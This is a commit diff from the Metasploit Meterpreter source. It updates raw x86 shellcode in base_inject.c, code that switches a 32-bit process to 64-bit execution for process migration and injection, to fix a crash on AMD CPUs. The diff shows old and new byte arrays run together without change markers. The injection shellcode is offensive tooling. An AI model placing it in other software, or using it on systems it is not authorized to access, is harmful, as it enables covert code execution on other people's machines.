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Land #201, fix access violation on AMD cpus with 64-bit memory from 32-bit apps

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Brent Cook 2017-06-05 00:13:40 -05:00
commit ae41f2a12d
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1 changed files with 7 additions and 4 deletions
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11
c/meterpreter/source/common/arch/win/i386/base_inject.c
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@ -12,11 +12,14 @@
#endif
// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm'
// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484
// found and fixed by ReWolf, incorporated by RaMMicHaeL
BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00"
"\x58\x83\xC0\x25\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x09\x00\x00\x00\x83\xC4\x14\x5F\x5E\x5D\xC2\x08\x00"
"\x8B\x3C\x24\xFF\x2A\x48\x31\xC0\x57\xFF\xD6\x5F\x50\xC7\x44\x24"
"\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C\x24";
"\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00"
"\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14"
"\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF"
"\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C"
"\x24";
// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm'
BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00"